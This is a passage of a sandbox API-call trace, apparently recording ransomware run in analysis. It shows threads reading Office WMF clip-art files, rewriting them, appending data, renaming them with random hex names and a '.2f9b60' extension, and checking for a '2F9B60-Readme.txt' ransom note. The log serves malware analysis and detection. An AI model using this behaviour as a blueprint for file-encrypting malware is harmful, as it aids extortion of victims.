[0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x1af84a25 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x436cb2e3 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x2e575f04 [0211.098] RtlRandomEx (in: Seed=0x26f9fb10 | out: Seed=0x26f9fb10) returned 0x40f8c503 [0211.109] ReadFile (in: hFile=0x1848, lpBuffer=0x429809e0, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x26f9fb10, lpOverlapped=0x0 | out: lpBuffer=0x429809e0*, lpNumberOfBytesRead=0x26f9fb10*=0x128e, lpOverlapped=0x0) returned 1 [0212.010] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.010] WriteFile (in: hFile=0x1848, lpBuffer=0x42993630*, nNumberOfBytesToWrite=0x128e, lpNumberOfBytesWritten=0x26f9fb14, lpOverlapped=0x0 | out: lpBuffer=0x42993630*, lpNumberOfBytesWritten=0x26f9fb14*=0x128e, lpOverlapped=0x0) returned 1 [0215.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0215.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0215.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0215.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42993630) returned 1 [0215.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429809e0) returned 1 [0215.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0215.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0215.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b861260 [0215.579] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.579] WriteFile (in: hFile=0x1848, lpBuffer=0x42c15a70*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x26f9fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c15a70*, lpNumberOfBytesWritten=0x26f9fc30*=0x10a, lpOverlapped=0x0) returned 1 [0218.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0218.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0218.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0218.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f50) returned 1 [0218.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0218.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0218.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0218.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0218.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0218.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0218.029] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="43") returned 2 [0218.029] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="b0") returned 2 [0218.029] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="6f") returned 2 [0218.029] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="01") returned 2 [0218.029] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="0f") returned 2 [0218.029] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="0a") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="5c") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="34") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="70") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="df") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="e5") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="18") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="43") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="91") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="1d") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.030] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="62") returned 2 [0218.030] RtlInitAnsiString (in: DestinationString=0x26f9fca8, SourceString="43b06f010f0ae35c3470dfe518f93deb43c2d61a911d7b62" | out: DestinationString="43b06f010f0ae35c3470dfe518f93deb43c2d61a911d7b62") [0218.030] RtlAnsiStringToUnicodeString (in: DestinationString=0x26f9fc78, SourceString="43b06f010f0ae35c3470dfe518f93deb43c2d61a911d7b62", AllocateDestinationString=1 | out: DestinationString="43b06f010f0ae35c3470dfe518f93deb43c2d61a911d7b62") returned 0x0 [0218.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a0470 [0218.031] wcscat (in: _Dest=0x431089e0, _Source="43b06f010f0a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a" [0218.031] wcscat (in: _Dest=0x431089e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a.2f9b60" [0218.031] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a.2f9b60", NtPathName=0x26f9fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\43b06f010f0a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff690 Thread: id = 3555 os_tid = 0x204c [0210.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf")) returned 0x20 [0210.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF", dwFileAttributes=0x20) returned 1 [0210.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1798 [0210.849] GetFileSizeEx (in: hFile=0x1798, lpFileSize=0x2da6fc00 | out: lpFileSize=0x2da6fc00*=3550) returned 1 [0210.849] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0xdda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.849] ReadFile (in: hFile=0x1798, lpBuffer=0x2da6fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2da6fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2da6fb80*, lpNumberOfBytesRead=0x2da6fbc8*=0x4, lpOverlapped=0x0) returned 1 [0210.855] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0210.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0210.857] NtQuerySystemTime (in: CurrentTime=0x2da6fac0 | out: CurrentTime=0x2da6fac0*=132462178157242000) returned 0x0 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x2dc82d46 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x74c47744 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x78372ae1 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x6f9d6422 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x66e89579 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x50f48fd4 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x7d5f0cb4 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0xc1efbe1 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x7ab2070 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x4a2f9ceb [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x1ee28b95 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x25f4af19 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0xa0b8a12 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x424d2e6d [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x5889366c [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x5e25981b [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x3d87bab0 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x104fb3d0 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x53cec513 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x713fc8e3 [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x2fae82fa [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x6a0cf62f [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x45c7ddaa [0210.857] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x4016b0c3 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x3fbe8414 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x995a131 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x4ba6af3d [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x72387299 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x7e0dd599 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x291e4c32 [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x5f8ebfb [0210.858] RtlRandomEx (in: Seed=0x2da6fab0 | out: Seed=0x2da6fab0) returned 0x5692bc10 [0210.868] ReadFile (in: hFile=0x1798, lpBuffer=0x20419710, nNumberOfBytesToRead=0xdde, lpNumberOfBytesRead=0x2da6fab0, lpOverlapped=0x0 | out: lpBuffer=0x20419710*, lpNumberOfBytesRead=0x2da6fab0*=0xdde, lpOverlapped=0x0) returned 1 [0210.868] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.868] WriteFile (in: hFile=0x1798, lpBuffer=0x20406ac0*, nNumberOfBytesToWrite=0xdde, lpNumberOfBytesWritten=0x2da6fab4, lpOverlapped=0x0 | out: lpBuffer=0x20406ac0*, lpNumberOfBytesWritten=0x2da6fab4*=0xdde, lpOverlapped=0x0) returned 1 [0215.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135a10 [0215.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb30 [0215.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb30) returned 1 [0215.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20406ac0) returned 1 [0215.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20419710) returned 1 [0215.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24ba0) returned 1 [0215.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ce0) returned 1 [0215.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313bb30 [0215.405] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.405] WriteFile (in: hFile=0x1798, lpBuffer=0x423ab850*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2da6fbd0, lpOverlapped=0x0 | out: lpBuffer=0x423ab850*, lpNumberOfBytesWritten=0x2da6fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0217.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0217.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8b90) returned 1 [0217.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0217.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0217.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c20) returned 1 [0217.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.777] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="94") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="fa") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="57") returned 2 [0217.777] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="36") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="be") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="08") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="04") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="18") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="71") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="52") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="97") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="54") returned 2 [0217.778] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.778] RtlInitAnsiString (in: DestinationString=0x2da6fc48, SourceString="94d7a9b2fadd7e4f5736a2be08fe04c218f57152978f54b8" | out: DestinationString="94d7a9b2fadd7e4f5736a2be08fe04c218f57152978f54b8") [0217.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x2da6fc18, SourceString="94d7a9b2fadd7e4f5736a2be08fe04c218f57152978f54b8", AllocateDestinationString=1 | out: DestinationString="94d7a9b2fadd7e4f5736a2be08fe04c218f57152978f54b8") returned 0x0 [0217.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106010 [0217.779] wcscat (in: _Dest=0x4314fbc0, _Source="94d7a9b2fadd" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd" [0217.779] wcscat (in: _Dest=0x4314fbc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd.2f9b60" [0217.779] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd.2f9b60", NtPathName=0x2da6fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\94d7a9b2fadd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe390 [0237.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe390) returned 1 [0237.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bb4c0) returned 1 [0237.748] NtQueryInformationFile (in: FileHandle=0x1798, IoStatusBlock=0x2da6fc58, FileInformation=0x2da6fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2da6fc58, FileInformation=0x2da6fc68) returned 0x0 [0237.748] NtSetInformationFile (FileHandle=0x1798, IoStatusBlock=0x2da6fc58, FileInformation=0x2da6fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fbc0) returned 1 [0240.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43106010) returned 1 [0240.368] FlushFileBuffers (hFile=0x1798) returned 1 [0240.642] CloseHandle (hObject=0x1798) returned 1 [0242.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11290 [0242.722] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0242.722] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0242.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0242.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c96c0) returned 1 Thread: id = 3556 os_tid = 0x1f00 [0210.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf")) returned 0x20 [0210.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF", dwFileAttributes=0x20) returned 1 [0210.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x183c [0210.854] GetFileSizeEx (in: hFile=0x183c, lpFileSize=0x23f9fe20 | out: lpFileSize=0x23f9fe20*=1444) returned 1 [0210.854] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.854] ReadFile (in: hFile=0x183c, lpBuffer=0x23f9fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23f9fde8, lpOverlapped=0x0 | out: lpBuffer=0x23f9fda0*, lpNumberOfBytesRead=0x23f9fde8*=0x4, lpOverlapped=0x0) returned 1 [0210.871] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0210.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0210.873] NtQuerySystemTime (in: CurrentTime=0x23f9fce0 | out: CurrentTime=0x23f9fce0*=132462178157398000) returned 0x0 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x378e8032 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0xdc25176 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x1b367a6f [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x678e609 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x7f52ee2 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x3e73a140 [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0xdc739dd [0210.873] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x62a63d1b [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x24b59e90 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x50f48fd4 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x349511cf [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x78b23b4c [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x7300f935 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x65e7225c [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x2e87db42 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x2c157c18 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x228ef438 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x3df17491 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x63f183f9 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x6f24cadf [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x14b67913 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x6c164825 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x51cabfc2 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x12c40546 [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x65bc499c [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x5052583d [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0xc3b2a9e [0210.874] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x49ab653 [0210.875] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x54cbaffc [0210.875] RtlRandomEx (in: Seed=0x23f9fcd0 | out: Seed=0x23f9fcd0) returned 0x58c2d2bd [0210.875] RtlRandomEx (in: Seed=0x23f9fcd0 | out: 